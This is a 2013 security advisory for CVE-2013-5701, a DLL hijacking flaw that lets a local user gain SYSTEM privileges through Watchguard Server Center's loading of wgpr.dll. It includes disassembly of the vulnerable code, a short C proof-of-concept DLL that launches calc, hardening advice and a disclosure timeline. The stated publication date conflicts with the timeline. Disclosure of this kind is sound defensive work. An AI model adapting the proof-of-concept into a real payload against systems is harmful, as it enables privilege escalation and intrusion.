Watchguard Server Center v11.7.4 wgpr.dll Insecure Library Loading Local Privilege Escalation Vulnerability RCE Security Advisory http://www.rcesecurity.com 1. ADVISORY INFORMATION ----------------------- Product: Watchguard Server Center Vendor URL: www.watchguard.com Type: Uncontrolled Search Path Element [CWE-427] Date found: 2013-07-29 Date published: 2013-08-09 CVSSv2 Score: 6,6 (AV:L/AC:M/Au:S/C:C/I:C/A:C) CVE: CVE-2013-5701 2. CREDITS ---------- This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED -------------------- Watchguard Server Center v11.7.4 Watchguard Server Center v11.7.3 and other older versions may be affected too. 4. VULNERABILITY DESCRIPTION ---------------------------- An insecure library loading vulnerability has been identified in different components of the Watchguard Server Center v11.7.4. The application installs two services "Watchguard Log Collector" (%installdir%\wsm11\wlcollector\bin\wlcollector.exe) and "Watchguard WebBlocker Server" (%installdir%\wsm11\wbserver\bin\wbserver.exe). Both application services use a fixed path to look for specific files or libraries. This path includes directories that may not be trusted or under user control. By placing a custom version of a library in the application path, the program will load it before the legitimate version. This allows an attacker to inject custom code that will be run with the privilege of the program or user executing the program. The following libraries could be hijacked on this way: wgpr.dll Since both services are running using the SYSTEM account, this may allow a less privileged user to gain access to SYSTEM privileges. A local attacker or compromised process is able to put a malicious application library into the directory which will be executed after a service restart. On a default installation (%programfiles%\Watchguard) of the Watchguard Server Center on Windows Vista and above the directory permissions disallow an low-privileged attacker to mount the attack. On a default installation (%programfiles%\Watchguard) of the Watchguard Server Center on Windows XP, the attacker needs to have at least Power User rights to successfully mount the attack. On a non-default installation of the Watchguard Server Center to a directory, which is writeable by a low-privileged user, the attack can be mounted successfully without any restrictions. 5. DEBUG INFORMATION -------------------- The vulnerable code part of wlcollector.exe: 00401691 MOV EDI,DWORD PTR DS:[<&KERNEL32.LoadLib>; kernel32.LoadLibraryA 00401697 MOV ESI,EAX 00401699 TEST ESI,ESI 0040169B JE SHORT wlcollec.004016B3 0040169D PUSH wlcollec.00409320 ; /ProcNameOrOrdinal 004016A2 PUSH wlcollec.00409310 ; |/FileName = "kernel32.dll" 004016A7 CALL EDI ; |\LoadLibraryA 004016A9 PUSH EAX ; |hModule 004016AA CALL EBX ; \GetProcAddress 004016AC TEST EAX,EAX 004016AE JE SHORT wlcollec.004016B3 004016B0 PUSH ESI 004016B1 CALL EAX 004016B3 PUSH wlcollec.00409304 ; ASCII "wgpr.dll" 004016B8 CALL EDI ; kernel32.LoadLibraryA The vulnerable code part of wbserver.exe 00401041 MOV EDI,DWORD PTR DS:[<&KERNEL32.LoadLib>; kernel32.LoadLibraryA 00401047 MOV ESI,EAX 00401049 TEST ESI,ESI 0040104B JE SHORT wbserver.00401063 0040104D PUSH wbserver.00408284 ; /ProcNameOrOrdinal 00401052 PUSH wbserver.00408274 ; |/FileName = "kernel32.dll" 00401057 CALL EDI ; |\LoadLibraryA 00401059 PUSH EAX ; |hModule 0040105A CALL EBX ; \GetProcAddress 0040105C TEST EAX,EAX 0040105E JE SHORT wbserver.00401063 00401060 PUSH ESI 00401061 CALL EAX 00401063 PUSH wbserver.00408268 ; ASCII "wgpr.dll" 00401068 CALL EDI 6. PROOF-OF-CONCEPT (CODE / EXPLOIT) ------------------------------------ Use the following code to exploit the vulnerability: #include <windows.h> #define DLL_EXPORT __declspec(dllexport) #ifdef __cplusplus extern "C" { #endif void DLL_EXPORT wgpr_library_get() { WinExec("calc",0); } #ifdef __cplusplus } #endif 6. SOLUTION ----------- Administrators who installed the Watchguard Server Center on WinXP or outside the default installation folder, should harden the directories permissions (administrative write permissions only) on the mentioned folders to lower the attack risk. 7. REPORT TIMELINE ------------------ 2013-07-29: Discovery of the vulnerability 2013-07-30: RCE Security sends first notification to Customer Care via mail with disclosure date set to 13. August 2013 2013-08-05: RCE Security sends second notification using Twitter 2013-08-05: Response from vendor 2013-08-05: RCE Security sends vulnerability details to vendor 2013-08-05: Vendor ACKs the issue and asks for an extension of 30 days 2013-08-06: New disclosure date set to 13. September 2013 2013-08-06: Vendor assigns bug id #75251 2013-08-19: No further status updates received according to disclosure policy, asking for status update 2013-08-19: Vendor estimates the risk of the issue as "extremely limited", and therefor ACKs the public disclosure 2013-08-28: Vendor plans to release the fix with the next major release in around Q4 2013-09-05: MITRE assigns CVE-2013-5701 for this issue 2013-09-08: Full Disclosure 8. REFERENCES ------------- https://www.rcesecurity.com/2013/09/cve-2013-5701-watchguard-server-center-v11-7-4-wgpr-dll-local-privileges-escalation-vulnerability/